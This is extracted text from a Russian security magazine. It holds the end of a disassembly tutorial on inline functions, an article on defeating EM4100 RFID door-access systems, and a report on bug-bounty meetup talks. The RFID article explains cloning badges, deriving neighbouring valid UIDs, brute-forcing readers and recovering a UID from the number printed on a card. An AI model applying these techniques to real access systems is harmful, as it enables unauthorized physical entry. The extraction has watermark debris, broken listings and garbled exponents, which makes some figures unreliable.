Чем плоха развертка функций для исследования программы? Прежде всего, она увеличивает размер материнской функции и делает ее код менее наглядным — вместо CALL / TEST EAX,EAX / JZ xxx с бросающимся в глаза условным переходом мы видим кучу ничего не напоминающих инструкций, в логике работы которых еще предстоит разобраться.

Встроенные функции не имеют ни собственного пролога, ни эпилога, их код и локальные переменные (если таковые имеются) полностью вживлены в вызывающую функцию, результат компиляции выглядит в точности так, как будто бы никакого вызова функции и не было. Единственная зацепка — встраивание функции неизбежно приводит к дублированию ее кода во всех местах вызова, а это хоть и с трудом, но можно обнаружить. С трудом — потому, что встраиваемая функция, становясь частью вызывающей функции, всквозную оптимизируется в контексте последней, что приводит к значительным вариациям кода.

Рассмотрим следующий пример, чтобы увидеть, как компилятор оптимизирует встраиваемую функцию (Listing7):

#include <stdio.h>

inline int max(int a, int b)

{

if(a > b) return a;

return b;

}

int main(int argc, char **argv)

{

printf("%x\n",max(0x666,0x777)); printf("%x\n",max(0x666,argc)); printf("%x\n",max(0x666,argc)); return 0;

}

Результат его компиляции будет иметь следующий вид (функция main):

.text:0000000140001000 main

proc near

 

.text:0000000140001000

 

 

 

.text:0000000140001000 arg_0

= dword

ptr

8

.text:0000000140001000 arg_8

= qword

ptr

10h

.text:0000000140001000; Полученные аргументы помещаются

.text:0000000140001000; в локальные переменные.

 

 

.text:0000000140001000

mov

[rsp+arg_8], rdx

.text:0000000140001005

mov

[rsp+arg_0], ecx

.text:0000000140001009

sub

rsp,

28h

.text:0000000140001009; Аргументы помещаются в

регистры EDX, ECX,

.text:0000000140001009; что говорит нам об их подготовке

.text:

 

 

 

0000000140001009; к передаче в качестве параметров другой функции.

.text:000000014000100D

mov

edx,

777h

.text:0000000140001012

mov

ecx,

666h

.text:0000000140001012; Вызов сравнивающей функции.

 

.text:0000000140001017

call

sub_140001070

.text:000000014000101C

mov

edx,

eax

.text:000000014000101C; Возвращенный предыдущей функцией результат

.text:000000014000101C; передаем функции printf вместе с форматной

.text:000000014000101C; строкой.

 

 

 

.text:000000014000101E

lea

rcx, Format

; "%x\

n"

 

 

 

.text:000000014000101E; Вызов функции вывода значений на экран.

 

.text:0000000140001025

call

printf

 

.text:0000000140001025; История повторяется, происходит подготовка

.text:0000000140001025; параметров для вызова функции.

.text:000000014000102A

mov

edx,

[rsp+28h+arg_0]

.text:000000014000102E

mov

ecx,

666h

.text:000000014000102E; Вызов «встраиваемой» функции max,

.text:000000014000102E; но, как мы видим, встраиваемой она не стала.

.text:0000000140001033

call

sub_140001070

.text:0000000140001033; Первый параметр для printf — возвращенное

.text:0000000140001033; max число, второй параметр — форматная

.text:0000000140001033; строка.

 

 

.text:0000000140001038

mov

edx, eax

.text:000000014000103A

lea

rcx, asc_140016324 ; "%x\

n"

 

 

.text:000000014000103A; Выводим параметры на экран посредством

printf.

 

 

.text:0000000140001041

call

printf

.text:0000000140001041; Подготовка параметров для вызова функции max.

.text:0000000140001046

mov

edx, [rsp+28h+arg_0]

.text:000000014000104A

mov

ecx, 666h

.text:000000014000104A; Вызов функции max.

 

.text:000000014000104F

call

sub_140001070

.text:0000000140001054

mov

edx, eax

.text:0000000140001056

lea

rcx, asc_140016328 ; "%x\

n"

 

 

.text:0000000140001056; Вывод результата на экран.

.text:000000014000105D

call

printf

.text:0000000140001062

xor

eax, eax

.text:0000000140001064

add

rsp, 28h

.text:0000000140001068

retn

 

.text:0000000140001068 main

endp

 

«Так-так», — шепчем себе под нос. И что же он тут накомпилировал? Встраиваемую функцию представил в виде обычной! Вот дела! Компилятор забил на наше желание сделать функцию встраиваемой (мы ведь написали модификатор inline).

Ситуацию не исправляет даже использование параметров компилятора: / Od или /Oi. Первый служит для отключения оптимизации, второй — для создания встраиваемых функций. Такими темпами компилятор вскоре будет генерировать код, угодный собственным предпочтениям или предпочтениям его разработчика, а не программиста, его использующего!

Остальное ты можешь увидеть в комментариях к дизассемблированному листингу. Сравнивающая функция max в дизассемблированном виде будет выглядеть так:

.text:0000000140001070 sub_140001070

proc near

 

.text:0000000140001070

 

 

 

.text:0000000140001070 arg_0

= dword

ptr

8

.text:0000000140001070 arg_8

= dword

ptr

10h

.text:0000000140001070

 

 

 

.text:0000000140001070

mov

[rsp+arg_8], edx

.text:0000000140001074

mov

[rsp+arg_0], ecx

.text:0000000140001078

mov

eax, [rsp+arg_8]

.text:0000000140001078; Сравнение значений, переданных в параметрах.

.text:000000014000107C

cmp

[rsp+arg_0], eax

.text:

 

 

000000014000107C; Если первый операнд меньше второго или равен ему,

.text:000000014000107C; переходим на метку, где возвращается второй

.text:000000014000107C; операнд.

 

 

.text:0000000140001080

jle

short loc_140001088

.text:0000000140001080; В обратном случае возвращаем первый операнд.

.text:0000000140001082

mov

eax, [rsp+arg_0]

.text:0000000140001086

jmp

short locret_14000108C

.text:0000000140001088 ; --------------------------------------------

 

 

.text:0000000140001088

 

 

.text:0000000140001088 loc_140001088:

 

 

.text:0000000140001088

mov

eax, [rsp+arg_8]

.text:000000014000108C

 

 

.text:000000014000108C locret_14000108C:

 

.text:000000014000108C

retn

 

.text:000000014000108C sub_140001070

endp

 

Здесь тоже все важные фрагменты прокомментированы.

Напоследок предлагаю откомпилировать и рассмотреть следующий пример (Listing8). Он немного усложнен по сравнению с предыдущим, в нем в качестве одного из значений для сравнения используется аргумент командной строки, который преобразуется из строки в число и при выводе обратно.

#include <iostream> #include <sstream> #include <string> using namespace std;

// Встраиваемая функция нахождения максимума. inline string max(int a, int b)

{

int val = (a > b) ? a : b; stringstream stream;

// Преобразуем значение в hex-число. stream << "0x" << hex << val;

string res = stream.str(); return res;

}

int main(int argc, char **argv)

{

cout << max(0x666, 0x777) << endl; string par = argv[1];

int val;

//Если впереди параметра есть символы '0x', if (par.substr(0, 2) == "0x")

//тогда это hex-число.

val = stoi(argv[1], nullptr, 16); else

// В ином случае это dec-число. val = stoi(argv[1], nullptr, 10); cout << max(0x666, val) << endl; cout << max(0x666, val) << endl; return 0;

}

VS Code

Сразу в начале своего выполнения программа вызывает встраиваемую функцию, передавая ей два шестнадцатеричных числа. В качестве результата функция возвращает большее из них, преобразованное в шестнадцатеричный формат. После чего основная функция выводит его в консоль.

Следующим действием программа берет параметр командной строки. Она различает числа двух форматов: десятичные и шестнадцатеричные, определяя их по отсутствию или наличию префикса 0x. Два последующих оператора идентичны, в них происходят вызовы функции max, которой оба раза передаются одинаковые параметры: 0x666 и параметр командной строки, преобразованный из строки в число. Эти два последовательных оператора, как и в прошлый раз, позволят нам проследить вызовы функции.

Вывод приложения

Вместе с дополнительной функциональностью соответственно увеличился дизассемблерный листинг. Тем не менее суть происходящего не изменилась. Чтобы не приводить его здесь (он занимает реально много места), предлагаю тебе разобраться с ним самостоятельно.

ВЫВОДЫ

Тема идентификации ключевых структур очень важна, хотя бы потому, что в современных языках программирования этих структур великое множество. И в сегодняшней статье мы только начали рассматривать функции. Ведь, кроме приведенных выше функций (обычных, голых, встраиваемых) и способов их вызова (непосредственный вызов, по указателю, с комплексным вычислением адреса), существуют также виртуальные, библиотечные. Кроме того, к функциям можно отнести конструкторы и деструкторы. Но не будем забегать вперед.

Прежде чем переходить к методам объектов, статическим и виртуальным функциям, надо научиться идентифицировать стартовые функции, которые могут занимать значительную часть дизассемблерного листинга, но анализировать которые нет необходимости (за небольшими исключениями).

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

АТАКУЕМ СИСТЕМЫ КОНТРОЛЯ ДОСТУПА НА ОСНОВЕ RFID

Взлом электронных турникетов на входе в здание — заветный хакерский флекс, который так любят показывать в кино. В этой статье я расскажу о системах контроля и управления доступом (СКУД) на основе RFID, и мы вместе разберемся, насколько просто подделать самый распространенный идентификатор EM4100.

Thund3rb0lt

Реверс-инженер. В свободное время увлекаюсь физической безопасностью.lexploit@gmail.com

ÑÊÓÄ (англ. PACS) — комплекс оборудования, предназначенный для ограничения доступа на охраняемом объекте. Минимальная конфигурация такой системы — это бухой вахтер электронный замок на осно-

ве RFID.

RFID — способ автоматической идентификации объектов с помощью радиосигналов, хранящихся на транспондерах (RFID-метках).

RFID-метка — сборное устройство для хранения информации, состоящее из интегральной схемы (чипа) для выполнения операций с сигналом и информацией, антенны для передачи и приема сигнала и, опционально, батареи питания (не распространено в повседневном применении — дорого и избыточно).

Более подробную информацию о RFID можно найти в Википедии.

EM410X — крайне популярная модельная линейка идентификаторов, разработанная компанией EM Microelectronics. В повседневной жизни они применяются самыми разными способами: от использования в СКУД государственных (и не только) учреждений до маркировки и учета животных.

Сюда входят чипы с идентификаторами EM4100, EM4102, EM4105 и EM4200, которые различаются объемом памяти (от 64 до 128 бит) и областью применения.

Идентифика-

Объем

Размер

Сфера примене-

òîð

памяти

UID

íèÿ

 

EM4100

64 бита

5 байт

СКУД, логистика

EM4102

64 бита

5 байт

Маркировка

живот-

ных

 

 

 

 

 

EM4105

128 бит

8 байт

Маркировка

живот-

ных

 

 

 

 

 

EM4200

128 бит

8 байт

СКУД, логистика

Формально все эти идентификаторы работают на частоте 125 кГц, однако могут использовать диапазон частот 100–150 кГц.

Наиболее широко используются (и просты в понимании) идентификаторы EM4100, поэтому мы остановимся именно на них.

КАК УСТРОЕН EM4100?

Структура данных в идентификаторе EM4100 выглядит следующим образом.

Самая важная для нас в этой схеме группа из голубых и синих битов, которые вместе составляют 5 байт (40 бит) и служат уникальным идентификационным кодом RFID-метки.

На этом теоретическая часть окончена. Давай посмотрим, как выглядят атаки на подобные системы.

ВЕКТОРЫ АТАК НА СКУД С EM410X

Ни в одной из вариаций у EM410X нет криптографии или какого-то другого способа защиты. Поэтому все векторы атак, которые мне удалось обнаружить, связаны либо с принципиальными недостатками самих идентификаторов, либо с их небезопасной эксплуатацией.

В качестве цели атаки давай рассмотрим автономную (не интегрированную с прочими системами) СКУД с бесконтактными считывателями. Это самый простой вариант для понимания и воспроизведения атаки.

Итак, наша цель — получение как минимум одного постоянного физического доступа в помещение, вход в которое ограничен с использованием этой технологии.

Копирование оригинального пропуска

Поскольку EM410X не использует никакой защиты передаваемых данных, их копирование не представляет ни малейшей сложности.

Я не буду здесь рассматривать получение валидного пропуска для копирования, как и сам процесс создания клона. Все это может сильно различаться в конкретных случаях. Особо любопытствующим могу пореко-

мендовать гайды от Lab401 и Dangerous Things.

Однако это слишком просто, не правда ли? Как насчет того, чтобы немного расширить количество доступных нам валидных пропусков без получения их оригинальных физических копий?

Генерация новых UID на основе существующих

Представим, что у нас есть абстрактная организация, СКУД в которой использует идентификаторы EM4100. Станет ли она закупать каждый из них по отдельности?

Зайдем с другой стороны. Что будет проще для специалиста, который настраивает систему: заносить каждый идентификатор в базу по отдельности или зарегистрировать их группой?

Скорее всего, ты уже понял, к чему я пытаюсь тебя подвести. При известном UID одного из валидных идентификаторов с большой вероятностью «соседние» по значению UID-идентификаторы тоже будут распознаны системой как валидные.

Рассмотрим пример: у нас есть идентификатор с UID 12 00 EC DA A1. При увеличении (или уменьшении) старшего байта мы должны получить также валидное для системы значение идентификатора. Таким образом, следующие UID будут иметь значения

12 00 EC DA A2

12 00 EC DA A3

12 00 EC DA A4

12 00 EC DA A5

12 00 EC DA A6

...

Все они с высокой долей вероятности будут валидными.

Действительно ли это так? Не всегда. На практике в системе может не быть каких-то идентификаторов из списка или их могли заблокировать. Проверить это можно только вживую на конкретном примере, но разве это не добавляет в задачу немного здорового азарта?

Брутфорс значений идентификаторов

При виде списка из предыдущего пункта у тебя мог возникнуть вполне логичный вопрос: возможно, быстрее и надежнее будет воспользоваться брутфорсом? И действительно, это не худший вариант, благо для его реализации существует множество удобных решений, таких как Flipper Zero, Proxmark III и DIY на Arduino. Единственный минус такого метода — сотрудники охраны явно не будут просто стоять и смотреть, как ты подносишь к считывателю странное устройство.

Кстати, раз уж мы заговорили о методе грубой силы, как насчет посчитать общее количество возможных значений идентификаторов? Если ты с ходу

ответил: 2565 вариантов, то мои поздравления! Хотя, стоп... а всегда ли 2565?

Пара слов о считывателях

Мы пока что говорили только об идентификаторах и тех проблемах, которые связаны конкретно с ними. Но как насчет считывателей идентификаторов, которые и «принимают решение», пропускать то или иное лицо на охраняемый объект?

Что ж, тут есть свои нюансы. Хотя количество байтов, составляющих UID идентификатора, никогда не меняется (их всегда пять), это не означает, что все они будут использоваться для проверки валидности.

Вероятно, ты сейчас не совсем понимаешь, как такое возможно. Чтобы выйти из этой неловкой ситуации, советую прочитать статью про Wiegand — широко распространенный интерфейс связи между устройством чтения идентификатора и контроллером.

Если кратко, то большинство «дешевых», а также старых систем СКУД используют Wiegand-26, который способен передавать только 24 бита данных (и 2 бита четности), что, как ты понимаешь, существенно сокращает рас-

считанный нами ранее пул возможных значений идентификатора до 2563. Соглашусь, это все еще много. Хотя есть один способ сократить их число

до 256 либо отбросить необходимость брутфорса в целом...

Компрометация за одно фото

Никогда не задумывался, что за странные цифры нанесены на твою RFID-кар- ту?

Конечно, они здесь не просто так. На самом деле по факту эти цифры являются частью UID, но в десятичном формате.

Рассмотрим пример с этой карты:

0008671306 = 0x0084504A — 4 байта UID;

132 = 0x84 — ID клиента отдельно;

20554 = 0x504A — 2 старших байта отдельно.

Оригинальный UID идентификатора: 4E 00 84 50 4A.

На всех идентификаторах, которые мне удалось достать, второй байт всегда оказывался нулевым. Неизвестно, совпадение это или негласная договоренность производителей.

Получается, часто всего по одной фотографии идентификатора можно создать его валидную для проверяющей системы копию либо понизить количество перебираемых значений вплоть до 256 вариантов. Неплохо, правда?

МЕТОДЫ ЗАЩИТЫ

Теперь, когда ты узнал о возможных векторах атак на СКУД, у тебя наверняка возник вопрос: можно ли защититься от рассмотренных выше атак или хотя бы смягчить их последствия?

И да, и нет. Несмотря на то что производители таких систем разрабатывали способы выявления «клонов», внедрение дополнительных систем про- верки идентификаторов нецелесообразно, и наиболее простым решением будет перейти на Mifare 1k — не менее популярные идентификаторы, но уже с поддержкой криптографии, которые мы рассмотрим в следующей статье.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ШЕСТЬ ДОКЛАДОВ, КОТОРЫЕ СТОИТ ПОСМОТРЕТЬ БАГХАНТЕРУ

Третий митап Stando Talks состоялся 14 мая 2023 года в лофте «Весна», тема встречи на этот раз была одна — багбаунти. Теплым воскресным днем багхантеры и держатели ББ-программ собрались под крышей уютного лофта, чтобы поделиться своим опытом друг с другом, прерываясь на приватные беседы и не забывая бодриться кофе. Основной частью митапа были доклады.

FearZzZz

Непрерывно двигайся. Ад пожирает праздных. AppSec, Bug Bounty, Legal Hacking. Telegram channels: @razehell, @lockpick vladfearzzzz@gmail.com

Баунти — вознаграждение, в нашем контексте — за найденные уязвимости.

Багхантер — этичный хакер, исследователь безопасности, выявляющий ошибки и уязвимости (не всегда работая за награду).

Программа багбаунти — комплекс мер, позволяющий привлекать багхантеров для тестирования ПО, сервиса или продукта.

Холдер ББ программы — компания, запустившая свою багбаун- ти-программу.

Триаж — процесс рассмотрения отчета, проверки уязвимостей и принятия решений о дальнейших действиях, в том числе о выплате баунти.

1. БАГБАУНТИ И WORDPRESS: ИСТОРИЯ ОДНОЙ ПРОГРАММЫ БАГБАУНТИ СНАРУЖИ И ИЗНУТРИ

Докладчик: Влад FearZzZz

Запись доклада

Мне повезло выступить первым на этом митапе, сразу после короткого вступительного слова от организаторов.

Я рассказал слушателям о своем опыте исследования экосистемы WordPress и о том, как меня сначала пригласили в закрытую багбаунти-прог- рамму, а полгода спустя — уже в команду организатора этой программы на роль исследователя безопасности.

В мае 2023-го, что символично, WordPress исполнилось двадцать лет. Было интересно подвести некоторый промежуточный итог и переосмыслить достижения и актуальное состояние, прежде всего вопросов безопасности этой системы. Вне всяких сомнений, это самый популярный движок на рынке, и он весьма безопасен, если говорить именно о ядре — WordPress Core. А вот с багбаунти у WordPress не все радужно.

Не секрет, что у WordPress есть сразу две официальные ББ-программы на HackerOne: WordPress и Automattic. Скоуп приличный, но покрывает он только сервисы и плагины компании, а также само ядро движка. Выплаты скромные: не встречал наград выше 800 долларов США, и это за критическую уязвимость.

Неофициальные багбаунти-программы тоже существуют, но похвастаться известностью или большим скоупом не может ни одна из них. Исключением можно назвать разве что Elementor — там платят бодрее, чем в официальной багбаунти-программе WordPress (например, выплатили 4000 долларов за прикольную XSS).

Случается, что из-за скромных выплат исследователи начинают примерять на себя «черную шляпу» и продают уязвимости на сторону либо занимаются взломом на заказ. В деньгах это получается гораздо выгоднее, хотя и крайне рискованно, поскольку может повлечь последствия юридического характера. Я, естественно, призываю всех работать легально и сдавать баги вендору.

Затем я рассказал о компании Patchstack, которая в 2021 году запустила уникальную закрытую ББ-программу для уязвимостей в WordPress. В чем заключалась новизна этого решения?

Во-первых, принимались баги как в ядре движка, так и в плагинах и темах, причем и бесплатных, и премиум. Во-вторых, попасть в эту ББ-программу можно было только по приглашению и имея подтвержденные уязвимости, то есть новичков среди участников не было. Третий момент — возможность эксплуатации недоработанных правил программы, чем я сразу и занялся и что давало возможность на протяжении пяти месяцев оставаться на первом призовом месте. На шестой месяц я уже получил приглашение в команду Patchstack, и это открыло путь к совершенно новому опыту в моей жизни.

Вторую часть доклада я уже читал с позиции сотрудника компании и триажера, рассказывая об очевидных проблемах и их решениях. Завершил доклад советами, которые пригодятся багхантерам и триажерам. Ключевая рекомендация — совершенствовать коммуникационные скиллы и общаться конструктивно и уважительно. Эту же мысль, кстати, в последующих докладах неоднократно озвучивали коллеги, что явно намекает на ее актуальность.

2. ИЗ БАГБАУНТИ В ПЕНТЕСТЫ И ОБРАТНО

Докладчик: Алексей Томилов

Запись доклада

Алексей — опытный пентестер и багхантер «старой школы», начавший охоту за багами еще в конце нулевых. Напомню, что в те годы никаких ББ-прог- рамм, в общем-то, и не существовало, так что приходилось действовать на свой страх и риск. Как это было раньше: находишь уязвимость, а потом штурмуешь компанию со всех сторон — от формы обратной связи и технической поддержки до звонков по всем указанным номерам телефонов. Не секрет, что большая часть таких обращений уходит в /dev/null/ с подачи сотрудников компании, и эта знакомая сердцу багхантера традиция благополучно дожила до наших дней в первозданном виде.

Затем Алексей рассказал об интересном случае из личной практики, когда он передал компании информацию о найденной SQL-инъекции, а год спустя случайно обнаружил, что сотрудник технической поддержки тогда присвоил находку себе. И даже получил от начальства премию за бдительность и внезапно открывшиеся навыки безопасника. Ситуация неприятная, но это опыт. Всегда нужно устанавливать связь с лицами, принимающими решения.

Следующий пример из практики — классический IDOR (сокращенно от Insecure Direct Object References — небезопасная прямая ссылка на объ-

ект), позволявший подглядывать за чужими транзакциями на сайте компании «Кредитэкспресс Финанс». Алексею открылся вагон персональных данных, не предназначенных для глаз третьих лиц. Но за полгода не удалось раскачать сотрудников компании и добиться адекватной реакции. Итогом противостояния стал опубликованный на «Хабре» материал, раскрывающий детали выявленной уязвимости, с не менее интересными последствиями. Какими именно? Смотри доклад, и узнаешь сам! :)

Набравшись опыта, Алексей переключился на цели покрупнее: сначала Яндекс (у них есть своя ББ-программа), затем платформа HackerOne, на которой исследователь оттачивал навыки, находя баги для British Airways и Booking.com. Это интересные кейсы, хотя каждый раз с печальной концовкой: все усилия не привели к долгожданным вознаграждениям даже при наличии PoC-видео и дополнительной информации. Проблема коммуникации? Вполне возможно, но продолжать работу Алексей предпочел уже в области пентестов. По словам Алексея, опыт багхантинга очень пригодился при пентестах.

3. ОПЫТ УЧАСТИЯ В БАГБАУНТИ ЯНДЕКСА

Докладчик: Максим Брагин

Запись доклада

Максим — багхантер и ведущий пентестер в Singleton Security. В своем докладе он показал статистику своих набегов на ББ-программу Яндекса за 2022 год, поделился выводами и рассказал про способы автоматизации охоты за багами.

По словам Максима, у Яндекса огромное количество целей для исследования. Сервисов и приложений столько, что есть где развернуться!

Другой плюс этой ББ-программы — возможность совмещать приятное с полезным, ведь ты тестируешь те сервисы, которыми пользуешься сам едва ли не ежедневно. Менее очевидное достоинство широкого скоупа — низкая конкуренция.

Без минусов тоже не обошлось, и докладчик выделил три основных: проблемы с SLA (известная проблема), ощущение недооцененности обнаруженных уязвимостей и непрозрачная система вознаграждений. Интересный нюанс, который Яндекс нигде не обозначил: все хосты и сервисы внутри компании разделены на уровни по степени критичности, в то время как выплаты на сайте обозначены в виде общего диапазона. То есть у багхантера никогда нет четкого понимания того, сколько будет стоить найденная уязвимость. Отмечу, что в докладе Ивана Чалыкина (следующий в списке) мы узнаем, почему так вышло.

Максим показал наглядный график своей работы в этой ББ-программе, на котором видно, что всего за 2022 год он отправил в компанию 46 отчетов о найденных уязвимостях, но только 27 из них были приняты и оплачены. Остальные помечены как дубликаты или N/A — нерабочие уязвимости. Как бы то ни было, свой вклад в безопасность сервисов и приложений Яндекса Максим точно сделал, и это круто!

Уязвимость получает статус N/A («не применимо»), то есть баг не подходит по правилам ББ-программы. Из неприятных еще бывают статусы duplicate, когда уязвимость уже найдена другим багхантером, и informative, когда баг приняли к сведению, но посчитали недостаточно важным для выплаты баунти.

Кстати, об уязвимостях. Докладчик любезно подсветил зрителям три наиболее часто встречающихся типа уязвимостей: IDOR, раскрытие чувствительной информации и XSS. Не сказать, что это неожиданность, но полезно лишний раз убедиться.

После этого Максим рассказал об автоматизации, ее плюсах и способах реализации. Так, багхантер обязан взять на вооружение постоянную разведку: выявление новых доменов, сервисов, приложений и тому подобных вещей. Второе правило — отслеживать изменения в самих веб-приложениях, и тут преимущество у тех, кто успешно практикует предыдущий шаг. Третье, что посоветовал докладчик, — использовать сканер Nuclei, позволяющий автоматизировать ряд процессов.

Максим обозначил три главных вывода:

• в 2023 году разведка актуальна и является хорошей инвестицией времени багхантера;

• окупаются все финансовые вложения в платные сервисы, нужные для работы (необходимость платить часто отпугивает багхантеров);

исследование проблем контроля доступа — отличное вложение сил и времени.

Вконце доклада Максим рассказал о нескольких интересных кейсах из своего опыта. В общем, рекомендую послушать, особенно полезно это будет новичкам.

4. ЧТО ПОД КАПОТОМ У «ОХОТЫ ЗА ОШИБКАМИ»

Докладчик: Иван Чалыкин

Запись доклада

Первый доклад от представителя компании, имеющей свою ББ-программу. Для меня он прояснил ряд важных и интересных нюансов.

В прошлом Иван — пентестер, багхантер, а ныне — тимлид одной из команд Яндекс Маркета. В своем докладе он доступно рассказал о ББ-программе Маркета, о том, что происходит после сдачи отчета исследователем и какие внутренние этапы проходит принятый отчет. Также Иван, сопровождая повествование статистикой, посоветовал, что нужно, а что не нужно делать.

У Яндекса больше 100 сервисов, и у самых крупных проектов есть свои команды безопасников. Ради порядка и ясности процессов очень важно направлять отчеты в нужные отделы, сервисы и команды. Начинается все с формы сдачи отчета, которую Иван настоятельно рекомендует заполнять только актуальными данными, воздерживаясь от всевозможных шуток.

После отправки данных через форму отчет на стороне компании превращается в тикет, после чего триажер должен проверить, действительно ли это отчет о найденной уязвимости или просто описание бага. Также проверяется наличие PoC. Такие проверки нужны из-за неаккуратности исследователей и спешки, и, конечно, они создают определенную нагрузку на компанию.

Следующий этап — триаж, сопровождаемый проверкой предоставленных данных на актуальность и новизну. Судя по тому, что Иван затронул вопрос прозрачности этих процессов, в компании знают о том, что здесь требуются улучшения, и стараются учитывать позицию и резонные ожидания исследователей.

Затем оценивается импакт уязвимости. Сотрудники Яндекса делают предположения о действиях злоумышленника при наихудшем сценарии. На этом этапе при необходимости инициируются дополнительные проверки внутри компании, и на это тоже уходит время.

Дальше — определение размера вознаграждения. Как говорил в своем докладе Максим Брагин, тут прозрачности очень не хватает. Предполагается, что ключевые сервисы компании приносят больше денег багхантеру, но искать уязвимости в них все сложнее и сложнее. В то время как менее популярные и новые сервисы скорее подойдут новичкам — находить уязвимости в них легче, но и выплаты будут скромнее. Логично? Логично.

Самый затратный по времени этап — это работа бухгалтерии. Тут нужно множество внутренних проверок, а иногда дополнительных действий. Мне запомнился слайд, схематично иллюстрирующий этот процесс, — зрелище впечатляющее.

Следом Иван перешел к советам для багхантеров. Первый — работать над качеством отчетов. Все просто: чем качественнее написан отчет, тем быстрее его разберут и обработают триажеры. Важны все детали: как багхантер пришел к этой уязвимости, как она сработала, какие нужны шаги для воспроизведения, какие запросы нужно отправлять. Да и PoC-видео лишним точно не будет.

Следующий совет — повторно проверять те же уязвимости через пару месяцев на случай, если в компании забыли что-то исправить или случайно оставили возможность обойти патчи и проэксплуатировать уязвимость слегка иначе. Так можно легко получить еще одно вознаграждение.

Иван подчеркнул, что Яндекс не экономит на выплатах исследователям и компания рада платить хорошие деньги за уязвимости. Как ты понял, это намек на известную проблему, когда в компаниях получают отчет об уязвимостях, а багхантерам платить не торопятся.

Иван затронул и вопрос коммуникаций. Вкратце: если уж берешься спорить и что-то выяснять, то делай это адекватно, аргументированно и без эмоций.

««ÑòàЧалыкинрайтесь немного выходить за рамки стандартного», — Иван »

Финальная часть доклада была посвящена статистике: в среднем компания получает по 120 отчетов ежемесячно; самая большая единоразовая выплата составила 2 миллиона рублей за IDOR; еще одна крупная выплата по акции составила 12 миллионов рублей за цепочку уязвимостей XSS → SSRF → RCE, которая, по словам Ивана, заслуживает отдельного доклада. Топовыми типами уязвимостей Иван назвал те же, что и Максим в своем докладе,

это IDOR и XSS.

5. BIG BB BROTHER IS WATCHING YOU

Докладчик: Алексей Гришин

Запись доклада

Алексей Гришин на этом митапе представлял команду VK и начал свое выступление с рассказа о доступных ББ-программах компании. Багбаунти-прог- рамма VK размещается на всех трех российских платформах: Stando 365, BI.ZONE Bug Bounty и BugBounty.ru.

Скоуп огромен, и в нем даже есть категория «Все другое» — на случай, если багхантера одолеют сомнения, куда именно слать репорт. Алексей отметил, что хантеры иногда пытаются хитрить, отправляя одну уязвимость на две разные платформы. И обрисовал огромный круг задач своей команды: нужно поддерживать актуальную информацию на всех платформах, работать с бюджетами и отчетностями и, конечно, проверять сами уязвимости.

Алексей рассказал, что полученные отчеты сперва просматривает аналитик, проверяя валидность данных и фильтруя мусор. После этого к работе подключается специальный бот, который забирает валидные отчеты. Они, в свою очередь, назначаются на ответственных сотрудников. Исследователи получают уведомления по ходу движения отчета внутри компании. Заодно накапливается полезная статистика по багам: где и какие уязвимости чаще встречаются.

За первый квартал 2023 года, по данным VK, валидным и полезным был лишь каждый второй отчет. От валидных отчетов доля критических уязвимостей составила 5%, а остальные 95% — стандартные уязвимости.

По данным Алексея, увеличение вознаграждения стимулирует интерес багхантеров к ББ-программе. Помогают в этом и PR-активности, да и репутация компании играет немалую роль. Тут же прозвучал известный факт, что чем медленнее компания реагирует на отчеты, тем меньше интерес багхантеров

кее программе.

Вдокладе зашла речь и о самих исследователях. Профилирование багхантеров важно, поскольку может понадобиться выбирать специалистов, которых можно допустить к инфраструктуре. Также важно понимать финансовые ожидания исследователей, ведь специалист не будет тратить свое время на невыгодные программы. От багхантеров, что логично, ожидается результативность, неконфликтность и способность писать качественные отчеты.

Как оцениваются исследователи командой VK? Анализ

происходит

по многим критериям, что позволяет оценить багхантера

не только

по какому-то одному параметру. А еще Алексей развеял миф о том, что большое количество N/A или «информативов» в отчете портит репутацию багхантеру. В доказательство Алексей привел интересный пример, но я не буду его пересказывать — лучше посмотри доклад.

6. КАК НАХОДИТЬ БАГИ НА БАГБАУНТИ И НЕ ЗАДАЛБЫВАТЬСЯ

Докладчик: Анатолий Иванов

Запись доклада

